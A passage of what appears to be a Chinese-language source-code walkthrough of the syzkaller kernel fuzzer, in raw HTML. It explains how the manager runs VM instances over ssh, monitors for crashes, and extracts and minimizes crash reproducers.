punctuation">.</span>cfg<span class="token punctuation">,</span> features<span class="token punctuation">,</span> mgr<span class="token punctuation">.</span>reporter<span class="token punctuation">,</span> mgr<span class="token punctuation">.</span>vmPool<span class="token punctuation">,</span> vmIndexes<span class="token punctuation">)</span>reproDone <span class="token operator">&lt;-</span> <span class="token operator">&amp;</span>ReproResult<span class="token punctuation">&#123;</span>instances<span class="token punctuation">:</span> vmIndexes<span class="token punctuation">,</span>report0<span class="token punctuation">:</span>   crash<span class="token punctuation">.</span>Report<span class="token punctuation">,</span>res<span class="token punctuation">:</span>       res<span class="token punctuation">,</span>stats<span class="token punctuation">:</span>     stats<span class="token punctuation">,</span>err<span class="token punctuation">:</span>       err<span class="token punctuation">,</span>hub<span class="token punctuation">:</span>       crash<span class="token punctuation">.</span>hub<span class="token punctuation">,</span><span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span class="token keyword">for</span> <span class="token operator">!</span><span class="token function">canRepro</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">&amp;&amp;</span> <span class="token function">len</span><span class="token punctuation">(</span>instances<span class="token punctuation">)</span> <span class="token operator">!=</span> <span class="token number">0</span> <span class="token punctuation">&#123;</span> <span class="token comment">// 「2」</span>last <span class="token operator">:=</span> <span class="token function">len</span><span class="token punctuation">(</span>instances<span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token number">1</span>idx <span class="token operator">:=</span> instances<span class="token punctuation">[</span>last<span class="token punctuation">]</span>instances <span class="token operator">=</span> instances<span class="token punctuation">[</span><span class="token punctuation">:</span>last<span class="token punctuation">]</span>log<span class="token punctuation">.</span><span class="token function">Logf</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token string">"loop: starting instance %v"</span><span class="token punctuation">,</span> idx<span class="token punctuation">)</span><span class="token keyword">go</span> <span class="token keyword">func</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>crash<span class="token punctuation">,</span> err <span class="token operator">:=</span> mgr<span class="token punctuation">.</span><span class="token function">runInstance</span><span class="token punctuation">(</span>idx<span class="token punctuation">)</span>runDone <span class="token operator">&lt;-</span> <span class="token operator">&amp;</span>RunResult<span class="token punctuation">&#123;</span>idx<span class="token punctuation">,</span> crash<span class="token punctuation">,</span> err<span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token comment">// ...</span><span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p><strong>「1」</strong>，存在需要复现的 crash，且有足够的虚拟机，则取出 <strong>instancesPerRepro</strong> （4 与 vmCount 的最小值） 个虚拟机以供调用 <code>repro.Run</code> 复现 crash</p><p><strong>「2」</strong>，没有 crash 且还有虚拟机可用，取出一个虚拟机调用 <code>mgr.runInstance</code> 进行 fuzz</p><h5 id="mgr-runInstance"><a href="#mgr-runInstance" class="headerlink" title="mgr.runInstance"></a>mgr.runInstance</h5><pre class="line-numbers language-go" data-language="go"><code class="language-go"><span class="token comment">// syz-manager/manager.go</span><span class="token keyword">func</span> <span class="token punctuation">(</span>mgr <span class="token operator">*</span>Manager<span class="token punctuation">)</span> <span class="token function">runInstance</span><span class="token punctuation">(</span>index <span class="token builtin">int</span><span class="token punctuation">)</span> <span class="token punctuation">(</span><span class="token operator">*</span>Crash<span class="token punctuation">,</span> <span class="token builtin">error</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>mgr<span class="token punctuation">.</span><span class="token function">checkUsedFiles</span><span class="token punctuation">(</span><span class="token punctuation">)</span>instanceName <span class="token operator">:=</span> fmt<span class="token punctuation">.</span><span class="token function">Sprintf</span><span class="token punctuation">(</span><span class="token string">"vm-%d"</span><span class="token punctuation">,</span> index<span class="token punctuation">)</span>rep<span class="token punctuation">,</span> vmInfo<span class="token punctuation">,</span> err <span class="token operator">:=</span> mgr<span class="token punctuation">.</span><span class="token function">runInstanceInner</span><span class="token punctuation">(</span>index<span class="token punctuation">,</span> instanceName<span class="token punctuation">)</span> machineInfo <span class="token operator">:=</span> mgr<span class="token punctuation">.</span>serv<span class="token punctuation">.</span><span class="token function">shutdownInstance</span><span class="token punctuation">(</span>instanceName<span class="token punctuation">)</span><span class="token keyword">if</span> <span class="token function">len</span><span class="token punctuation">(</span>vmInfo<span class="token punctuation">)</span> <span class="token operator">!=</span> <span class="token number">0</span> <span class="token punctuation">&#123;</span>machineInfo <span class="token operator">=</span> <span class="token function">append</span><span class="token punctuation">(</span><span class="token function">append</span><span class="token punctuation">(</span>vmInfo<span class="token punctuation">,</span> <span class="token string">'\n'</span><span class="token punctuation">)</span><span class="token punctuation">,</span> machineInfo<span class="token operator">...</span><span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span class="token comment">// ...</span>crash <span class="token operator">:=</span> <span class="token operator">&amp;</span>Crash<span class="token punctuation">&#123;</span>vmIndex<span class="token punctuation">:</span>     index<span class="token punctuation">,</span>hub<span class="token punctuation">:</span>         <span class="token boolean">false</span><span class="token punctuation">,</span>Report<span class="token punctuation">:</span>      rep<span class="token punctuation">,</span>machineInfo<span class="token punctuation">:</span> machineInfo<span class="token punctuation">,</span><span class="token punctuation">&#125;</span><span class="token keyword">return</span> crash<span class="token punctuation">,</span> <span class="token boolean">nil</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>调用 <code>mgr.runInstanceInner</code>  后，整理输出返回</p><pre class="line-numbers language-go" data-language="go"><code class="language-go"><span class="token comment">// syz-manager/manager.go</span><span class="token keyword">func</span> <span class="token punctuation">(</span>mgr <span class="token operator">*</span>Manager<span class="token punctuation">)</span> <span class="token function">runInstanceInner</span><span class="token punctuation">(</span>index <span class="token builtin">int</span><span class="token punctuation">,</span> instanceName <span class="token builtin">string</span><span class="token punctuation">)</span> <span class="token punctuation">(</span><span class="token operator">*</span>report<span class="token punctuation">.</span>Report<span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token builtin">byte</span><span class="token punctuation">,</span> <span class="token builtin">error</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>inst<span class="token punctuation">,</span> err <span class="token operator">:=</span> mgr<span class="token punctuation">.</span>vmPool<span class="token punctuation">.</span><span class="token function">Create</span><span class="token punctuation">(</span>index<span class="token punctuation">)</span><span class="token comment">// ...</span>fuzzerBin<span class="token punctuation">,</span> err <span class="token operator">:=</span> inst<span class="token punctuation">.</span><span class="token function">Copy</span><span class="token punctuation">(</span>mgr<span class="token punctuation">.</span>cfg<span class="token punctuation">.</span>FuzzerBin<span class="token punctuation">)</span> <span class="token comment">// 「1」</span><span class="token comment">// ...</span><span class="token comment">// If ExecutorBin is provided, it means that syz-executor is already in the image,</span><span class="token comment">// so no need to copy it.</span>executorBin <span class="token operator">:=</span> mgr<span class="token punctuation">.</span>sysTarget<span class="token punctuation">.</span>ExecutorBin<span class="token keyword">if</span> executorBin <span class="token operator">==</span> <span class="token string">""</span> <span class="token punctuation">&#123;</span>executorBin<span class="token punctuation">,</span> err <span class="token operator">=</span> inst<span class="token punctuation">.</span><span class="token function">Copy</span><span class="token punctuation">(</span>mgr<span class="token punctuation">.</span>cfg<span class="token punctuation">.</span>ExecutorBin<span class="token punctuation">)</span> <span class="token comment">// 「2」</span><span class="token comment">// ...</span><span class="token punctuation">&#125;</span><span class="token comment">// ...</span>cmd <span class="token operator">:=</span> instance<span class="token punctuation">.</span><span class="token function">FuzzerCmd</span><span class="token punctuation">(</span>fuzzerBin<span class="token punctuation">,</span> executorBin<span class="token punctuation">,</span> instanceName<span class="token punctuation">,</span>mgr<span class="token punctuation">.</span>cfg<span class="token punctuation">.</span>TargetOS<span class="token punctuation">,</span> mgr<span class="token punctuation">.</span>cfg<span class="token punctuation">.</span>TargetArch<span class="token punctuation">,</span> fwdAddr<span class="token punctuation">,</span> mgr<span class="token punctuation">.</span>cfg<span class="token punctuation">.</span>Sandbox<span class="token punctuation">,</span> procs<span class="token punctuation">,</span> fuzzerV<span class="token punctuation">,</span>mgr<span class="token punctuation">.</span>cfg<span class="token punctuation">.</span>Cover<span class="token punctuation">,</span> <span class="token operator">*</span>flagDebug<span class="token punctuation">,</span> <span class="token boolean">false</span><span class="token punctuation">,</span> <span class="token boolean">false</span><span class="token punctuation">,</span> <span class="token boolean">true</span><span class="token punctuation">,</span> mgr<span class="token punctuation">.</span>cfg<span class="token punctuation">.</span>Timeouts<span class="token punctuation">.</span>Slowdown<span class="token punctuation">)</span> outc<span class="token punctuation">,</span> errc<span class="token punctuation">,</span> err <span class="token operator">:=</span> inst<span class="token punctuation">.</span><span class="token function">Run</span><span class="token punctuation">(</span>mgr<span class="token punctuation">.</span>cfg<span class="token punctuation">.</span>Timeouts<span class="token punctuation">.</span>VMRunningTime<span class="token punctuation">,</span> mgr<span class="token punctuation">.</span>vmStop<span class="token punctuation">,</span> cmd<span class="token punctuation">)</span> <span class="token comment">// 「3」</span><span class="token comment">// ...</span><span class="token keyword">var</span> vmInfo <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token builtin">byte</span>rep <span class="token operator">:=</span> inst<span class="token punctuation">.</span><span class="token function">MonitorExecution</span><span class="token punctuation">(</span>outc<span class="token punctuation">,</span> errc<span class="token punctuation">,</span> mgr<span class="token punctuation">.</span>reporter<span class="token punctuation">,</span> vm<span class="token punctuation">.</span>ExitTimeout<span class="token punctuation">)</span> 「<span class="token number">4</span>」<span class="token keyword">if</span> rep <span class="token operator">==</span> <span class="token boolean">nil</span> <span class="token punctuation">&#123;</span><span class="token comment">// ...</span><span class="token punctuation">&#125;</span> <span class="token keyword">else</span> <span class="token punctuation">&#123;</span>vmInfo<span class="token punctuation">,</span> err <span class="token operator">=</span> inst<span class="token punctuation">.</span><span class="token function">Info</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token keyword">if</span> err <span class="token operator">!=</span> <span class="token boolean">nil</span> <span class="token punctuation">&#123;</span><span class="token comment">// ...</span><span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token keyword">return</span> rep<span class="token punctuation">,</span> vmInfo<span class="token punctuation">,</span> <span class="token boolean">nil</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p><strong>「1」</strong>，复制 syz-fuzzer 到虚拟机中</p><p><strong>「2」</strong>，复制 syz-executor 到虚拟机中</p><p><strong>「3」</strong>，ssh 执行虚拟机里的 syz-fuzzer</p><pre class="line-numbers language-go" data-language="go"><code class="language-go"><span class="token comment">// vm/qemu/qemu.go</span><span class="token keyword">func</span> <span class="token punctuation">(</span>inst <span class="token operator">*</span>instance<span class="token punctuation">)</span> <span class="token function">Run</span><span class="token punctuation">(</span>timeout time<span class="token punctuation">.</span>Duration<span class="token punctuation">,</span> stop <span class="token operator">&lt;-</span><span class="token keyword">chan</span> <span class="token builtin">bool</span><span class="token punctuation">,</span> command <span class="token builtin">string</span><span class="token punctuation">)</span> <span class="token punctuation">(</span><span class="token operator">&lt;-</span><span class="token keyword">chan</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token builtin">byte</span><span class="token punctuation">,</span> <span class="token operator">&lt;-</span><span class="token keyword">chan</span> <span class="token builtin">error</span><span class="token punctuation">,</span> <span class="token builtin">error</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span><span class="token comment">// ...</span>sshArgs <span class="token operator">:=</span> vmimpl<span class="token punctuation">.</span><span class="token function">SSHArgsForward</span><span class="token punctuation">(</span>inst<span class="token punctuation">.</span>debug<span class="token punctuation">,</span> inst<span class="token punctuation">.</span>sshkey<span class="token punctuation">,</span> inst<span class="token punctuation">.</span>port<span class="token punctuation">,</span> inst<span class="token punctuation">.</span>forwardPort<span class="token punctuation">)</span><span class="token comment">// ...</span><span class="token punctuation">&#125;</span> <span class="token keyword">else</span> <span class="token punctuation">&#123;</span>args <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token builtin">string</span><span class="token punctuation">&#123;</span><span class="token string">"ssh"</span><span class="token punctuation">&#125;</span>args <span class="token operator">=</span> <span class="token function">append</span><span class="token punctuation">(</span>args<span class="token punctuation">,</span> sshArgs<span class="token operator">...</span><span class="token punctuation">)</span>args <span class="token operator">=</span> <span class="token function">append</span><span class="token punctuation">(</span>args<span class="token punctuation">,</span> inst<span class="token punctuation">.</span>sshuser<span class="token operator">+</span><span class="token string">"@localhost"</span><span class="token punctuation">,</span> <span class="token string">"cd "</span><span class="token operator">+</span>inst<span class="token punctuation">.</span><span class="token function">targetDir</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">+</span><span class="token string">" &amp;&amp; "</span><span class="token operator">+</span>command<span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span class="token keyword">if</span> inst<span class="token punctuation">.</span>debug <span class="token punctuation">&#123;</span>log<span class="token punctuation">.</span><span class="token function">Logf</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> <span class="token string">"running command: %#v"</span><span class="token punctuation">,</span> args<span class="token punctuation">)</span><span class="token punctuation">&#125;</span>cmd <span class="token operator">:=</span> osutil<span class="token punctuation">.</span><span class="token function">Command</span><span class="token punctuation">(</span>args<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">,</span> args<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">:</span><span class="token punctuation">]</span><span class="token operator">...</span><span class="token punctuation">)</span><span class="token comment">// ...</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p><strong>「4」</strong>，监控虚拟机 oops 信息，用 <code>bytes.Contains</code> 检查是否有特征序列来查看是否出现了 crash</p><h5 id="repro-Run"><a href="#repro-Run" class="headerlink" title="repro.Run"></a>repro.Run</h5><p>最主要就是调用了 <code>ctx.repro</code></p><pre class="line-numbers language-go" data-language="go"><code class="language-go"><span class="token comment">// pkg/repro/repro.go</span><span class="token keyword">func</span> <span class="token punctuation">(</span>ctx <span class="token operator">*</span>context<span class="token punctuation">)</span> <span class="token function">repro</span><span class="token punctuation">(</span>entries <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token operator">*</span>prog<span class="token punctuation">.</span>LogEntry<span class="token punctuation">,</span> crashStart <span class="token builtin">int</span><span class="token punctuation">)</span> <span class="token punctuation">(</span><span class="token operator">*</span>Result<span class="token punctuation">,</span> <span class="token builtin">error</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span><span class="token comment">// ...</span>res<span class="token punctuation">,</span> err <span class="token operator">:=</span> ctx<span class="token punctuation">.</span><span class="token function">extractProg</span><span class="token punctuation">(</span>entries<span class="token punctuation">)</span> <span class="token comment">// 「1」</span><span class="token comment">// ...</span>res<span class="token punctuation">,</span> err <span class="token operator">=</span> ctx<span class="token punctuation">.</span><span class="token function">minimizeProg</span><span class="token punctuation">(</span>res<span class="token punctuation">)</span> <span class="token comment">// 「2」</span><span class="token comment">// ...</span><span class="token comment">// Try extracting C repro without simplifying options first.</span>res<span class="token punctuation">,</span> err <span class="token operator">=</span> ctx<span class="token punctuation">.</span><span class="token function">extractC</span><span class="token punctuation">(</span>res<span class="token punctuation">)</span> <span class="token comment">// 「3」</span><span class="token comment">// ...</span><span class="token comment">// Simplify options and try extracting C repro.</span><span class="token keyword">if</span> <span class="token operator">!</span>res<span class="token punctuation">.</span>CRepro <span class="token punctuation">&#123;</span>res<span class="token punctuation">,</span> err <span class="token operator">=</span> ctx<span class="token punctuation">.</span><span class="token function">simplifyProg</span><span class="token punctuation">(</span>res<span class="token punctuation">)</span> <span class="token comment">// 「4」</span><span class="token comment">// ...</span><span class="token punctuation">&#125;</span><span class="token comment">// Simplify C related options.</span><span class="token keyword">if</span> res<span class="token punctuation">.</span>CRepro <span class="token punctuation">&#123;</span>res<span class="token punctuation">,</span> err <span class="token operator">=</span> ctx<span class="token punctuation">.</span><span class="token function">simplifyC</span><span class="token punctuation">(</span>res<span class="token punctuation">)</span> <span class="token comment">// 「5」</span><span class="token comment">// ...</span><span class="token punctuation">&#125;</span><span class="token keyword">return</span> res<span class="token punctuation">,</span> <span class="token boolean">nil</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p><strong>「1」</strong>，提取出造成 crash 的程序</p><pre class="line-numbers language-go" data-language="go"><code class="language-go"><span class="token comment">// pkg/repro/repro.go</span><span class="token keyword">func</span> <span class="token punctuation">(</span>ctx <span class="token operator">*</span>context<span class="token punctuation">)</span> <span class="token function">extractProg</span><span class="token punctuation">(</span>entries <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token operator">*</span>prog<span class="token punctuation">.</span>LogEntry<span class="token punctuation">)</span> <span class="token punctuation">(</span><span class="token operator">*</span>Result<span class="token punctuation">,</span> <span class="token builtin">error</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span><span class="token comment">// ...</span><span class="token comment">// Extract last program on every proc.</span>procs <span class="token operator">:=</span> <span class="token function">make</span><span class="token punctuation">(</span><span class="token keyword">map</span><span class="token punctuation">[</span><span class="token builtin">int</span><span class="token punctuation">]</span><span class="token builtin">int</span><span class="token punctuation">)</span><span class="token keyword">for</span> i<span class="token punctuation">,</span> ent <span class="token operator">:=</span> <span class="token keyword">range</span> entries <span class="token punctuation">&#123;</span>procs<span class="token punctuation">[</span>ent<span class="token punctuation">.</span>Proc<span class="token punctuation">]</span> <span class="token operator">=</span> i<span class="token punctuation">&#125;</span><span class="token keyword">var</span> indices <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token builtin">int</span><span class="token keyword">for</span> <span class="token boolean">_</span><span class="token punctuation">,</span> idx <span class="token operator">:=</span> <span class="token keyword">range</span> procs <span class="token punctuation">&#123;</span>indices <span class="token operator">=</span> <span class="token function">append</span><span class="token punctuation">(</span>indices<span class="token punctuation">,</span> idx<span class="token punctuation">)</span><span class="token punctuation">&#125;</span>sort<span class="token punctuation">.</span><span class="token function">Ints</span><span class="token punctuation">(</span>indices<span class="token punctuation">)</span><span class="token keyword">var</span> lastEntries <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token operator">*</span>prog<span class="token punctuation">.</span>LogEntry<span class="token keyword">for</span> i <span class="token operator">:=</span> <span class="token function">len</span><span class="token punctuation">(</span>indices<span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">;</span> i <span class="token operator">>=</span> <span class="token number">0</span><span class="token punctuation">;</span> i<span class="token operator">--</span> <span class="token punctuation">&#123;</span> <span class="token comment">// 倒序存储执行的程序</span>lastEntries <span class="token operator">=</span> <span class="token function">append</span><span class="token punctuation">(</span>lastEntries<span class="token punctuation">,</span> entries<span class="token punctuation">[</span>indices<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span class="token keyword">for</span> <span class="token boolean">_</span><span class="token punctuation">,</span> timeout <span class="token operator">:=</span> <span class="token keyword">range</span> ctx<span class="token punctuation">.</span>testTimeouts <span class="token punctuation">&#123;</span><span class="token comment">// Execute each program separately to detect simple crashes caused by a single program.</span><span class="token comment">// Programs are executed in reverse order, usually the last program is the guilty one.</span>res<span class="token punctuation">,</span> err <span class="token operator">:=</span> ctx<span class="token punctuation">.</span><span class="token function">extractProgSingle</span><span class="token punctuation">(</span>lastEntries<span class="token punctuation">,</span> timeout<span class="token punctuation">)</span>  <span class="token comment">// 一个一个执行单个程序，直到触发 crash </span><span class="token keyword">if</span> err <span class="token operator">!=</span> <span class="token boolean">nil</span> <span class="token punctuation">&#123;</span><span class="token keyword">return</span> <span class="token boolean">nil</span><span class="token punctuation">,</span> err<span class="token punctuation">&#125;</span><span class="token keyword">if</span> res <span class="token operator">!=</span> <span class="token boolean">nil</span> <span class="token punctuation">&#123;</span>ctx<span class="token punctuation">.</span><span class="token function">reproLogf</span><span class="token punctuation">(</span><span class="token number">3</span><span class="token punctuation">,</span> <span class="token string">"found reproducer with %d syscalls"</span><span class="token punctuation">,</span> <span class="token function">len</span><span class="token punctuation">(</span>res<span class="token punctuation">.</span>Prog<span class="token punctuation">.</span>Calls<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token keyword">return</span> res<span class="token punctuation">,</span> <span class="token boolean">nil</span><span class="token punctuation">&#125;</span><span class="token comment">// Don't try bisecting if there's only one entry.</span><span class="token keyword">if</span> <span class="token function">len</span><span class="token punctuation">(</span>entries<span class="token punctuation">)</span> <span class="token operator">==</span> <span class="token number">1</span> <span class="token punctuation">&#123;</span><span class="token keyword">continue</span><span class="token punctuation">&#125;</span><span class="token comment">// Execute all programs and bisect the log to find multiple guilty programs.</span>res<span class="token punctuation">,</span> err <span class="token operator">=</span> ctx<span class="token punctuation">.</span><span class="token function">extractProgBisect</span><span class="token punctuation">(</span>entries<span class="token punctuation">,</span> timeout<span class="token punctuation">)</span> <span class="token comment">// 单个程序无法触发 crash，可能需要多个程序</span><span class="token comment">// ...</span><span class="token punctuation">&#125;</span><span class="token comment">// ...</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p><strong>「2」</strong>，简化调用和参数</p><pre class="line-numbers language-go" data-language="go"><code class="language-go"><span class="token comment">// pkg/repro/repro.go</span><span class="token keyword">func</span> <span class="token punctuation">(</span>ctx <span class="token operator">*</span>context<span class="token punctuation">)</span> <span class="token function">minimizeProg</span><span class="token punctuation">(</span>res <span class="token operator">*</span>Result<span class="token punctuation">)</span> <span class="token punctuation">(</span><span class="token operator">*</span>Result<span class="token punctuation">,</span> <span class="token builtin">error</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span><span class="token comment">// ...</span>res<span class="token punctuation">.</span>Prog<span class="token punctuation">,</span> <span class="token boolean">_</span> <span class="token operator">=</span> prog<span class="token punctuation">.</span><span class="token function">Minimize</span><span class="token punctuation">(</span>res<span class="token punctuation">.</span>Prog<span class="token punctuation">,</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token boolean">true</span><span class="token punctuation">,</span><span class="token keyword">func</span><span class="token punctuation">(</span>p1 <span class="token operator">*</span>prog<span class="token punctuation">.</span>Prog<span class="token punctuation">,</span> callIndex <span class="token builtin">int</span><span class="token punctuation">)</span> <span class="token builtin">bool</span> <span class="token punctuation">&#123;</span>crashed<span class="token punctuation">,</span> err <span class="token operator">:=</span> ctx<span class="token punctuation">.</span><span class="token function">testProg</span><span class="token punctuation">(</span>p1<span class="token punctuation">,</span> res<span class="token punctuation">.</span>Duration<span class="token punctuation">,</span> res<span class="token punctuation">.</span>Opts<span class="token punctuation">)</span><span class="token keyword">if</span> err <span class="token operator">!=</span> <span class="token boolean">nil</span> <span class="token punctuation">&#123;</span>ctx<span class="token punctuation">.</span><span class="token function">reproLogf</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> <span class="token string">"minimization failed with %v"</span><span class="token punctuation">,</span> err<span class="token punctuation">)</span><span class="token keyword">return</span> <span class="token boolean">false</span><span class="token punctuation">&#125;</span><span class="token keyword">return</span> crashed<span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token keyword">return</span> res<span class="token punctuation">,</span> <span class="token boolean">nil</span><span class="token punctuation">&#125;</span><span class="token comment">// prog/minimization.go</span><span class="token keyword">func</span> <span class="token function">Minimize</span><span class="token punctuation">(</span>p0 <span class="token operator">*</span>Prog<span class="token punctuation">,</span> callIndex0 <span class="token builtin">int</span><span class="token punctuation">,</span> crash <span class="token builtin">bool</span><span class="token punctuation">,</span> pred0 <span class="token keyword">func</span><span class="token punctuation">(</span><span class="token operator">*</span>Prog<span class="token punctuation">,</span> <span class="token builtin">int</span><span class="token punctuation">)</span> <span class="token builtin">bool</span><span class="token punctuation">)</span> <span class="token punctuation">(</span><span class="token operator">*</span>Prog<span class="token punctuation">,</span> <span class="token builtin">int</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>pred <span class="token operator">:=</span> <span class="token keyword">func</span><span class="token punctuation">(</span>p <span class="token operator">*</span>Prog<span class="token punctuation">,</span> callIndex <span class="token builtin">int</span><span class="token punctuation">)</span> <span class="token builtin">bool</span> <span class="token punctuation">&#123;</span>p<span class="token punctuation">.</span><span class="token function">sanitizeFix</span><span class="token punctuation">(</span><span class="token punctuation">)</span>p<span class="token punctuation">.</span><span class="token function">debugValidate</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token keyword">return</span> <span class="token function">pred0</span><span class="token punctuation">(</span>p<span class="token punctuation">,</span> callIndex<span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span class="token comment">// ...</span><span class="token comment">// Try to remove all calls except the last one one-by-one.</span>p0<span class="token punctuation">,</span> callIndex0 <span class="token operator">=</span> <span class="token function">removeCalls</span><span class="token punctuation">(</span>p0<span class="token punctuation">,</span> callIndex0<span class="token punctuation">,</span> crash<span class="token punctuation">,</span> pred<span class="token punctuation">)</span><span class="token comment">// Try to reset all call props to their default values.</span>p0 <span class="token operator">=</span> <span class="token function">resetCallProps</span><span class="token punctuation">(</span>p0<span class="token punctuation">,</span> callIndex0<span class="token punctuation">,</span> pred<span class="token punctuation">)</span><span class="token comment">// Try to minimize individual calls.</span><span class="token keyword">for</span> i <span class="token operator">:=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> <span class="token function">len</span><span class="token punctuation">(</span>p0<span class="token punctuation">.</span>Calls<span class="token punctuation">)</span><span class="token punctuation">;</span> i<span class="token operator">++</span> <span class="token punctuation">&#123;</span> <span class="token comment">// 去除系统调用无关的参数</span>ctx <span class="token operator">:=</span> <span class="token operator">&amp;</span>minimizeArgsCtx<span class="token punctuation">&#123;</span>target<span class="token punctuation">:</span>     p0<span class="token punctuation">.</span>Target<span class="token punctuation">,</span>p0<span class="token punctuation">:</span>         <span class="token operator">&amp;</span>p0<span class="token punctuation">,</span>callIndex0<span class="token punctuation">:</span> callIndex0<span class="token punctuation">,</span>crash<span class="token punctuation">:</span>      crash<span class="token punctuation">,</span>pred<span class="token punctuation">:</span>       pred<span class="token punctuation">,</span>triedPaths<span class="token punctuation">:</span> <span class="token function">make</span><span class="token punctuation">(</span><span class="token keyword">map</span><span class="token punctuation">[</span><span class="token builtin">string</span><span class="token punctuation">]</span><span class="token builtin">bool</span><span class="token punctuation">)</span><span class="token punctuation">,</span><span class="token punctuation">&#125;</span>again<span class="token punctuation">:</span>ctx<span class="token punctuation">.</span>p <span class="token operator">=</span> p0<span class="token punctuation">.</span><span class="token function">Clone</span><span class="token punctuation">(</span><span class="token punctuation">)</span>ctx<span class="token punctuation">.</span>call <span class="token operator">=</span> ctx<span class="token punctuation">.</span>p<span class="token punctuation">.</span>Calls<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token keyword">for</span> j<span class="token punctuation">,</span> field <span class="token operator">:=</span> <span class="token keyword">range</span> ctx<span class="token punctuation">.</span>call<span class="token punctuation">.</span>Meta<span class="token punctuation">.</span>Args <span class="token punctuation">&#123;</span><span class="token keyword">if</span> ctx<span class="token punctuation">.</span><span class="token function">do</span><span class="token punctuation">(</span>ctx<span class="token punctuation">.</span>call<span class="token punctuation">.</span>Args<span class="token punctuation">[</span>j<span class="token punctuation">]</span><span class="token punctuation">,</span> field<span class="token punctuation">.</span>Name<span class="token punctuation">,</span> <span class="token string">""</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span><span class="token keyword">goto</span> again<span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span>p0 <span class="token operator">=</span> <span class="token function">minimizeCallProps</span><span class="token punctuation">(</span>p0<span class="token punctuation">,</span> i<span class="token punctuation">,</span> callIndex0<span class="token punctuation">,</span> pred<span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span class="token 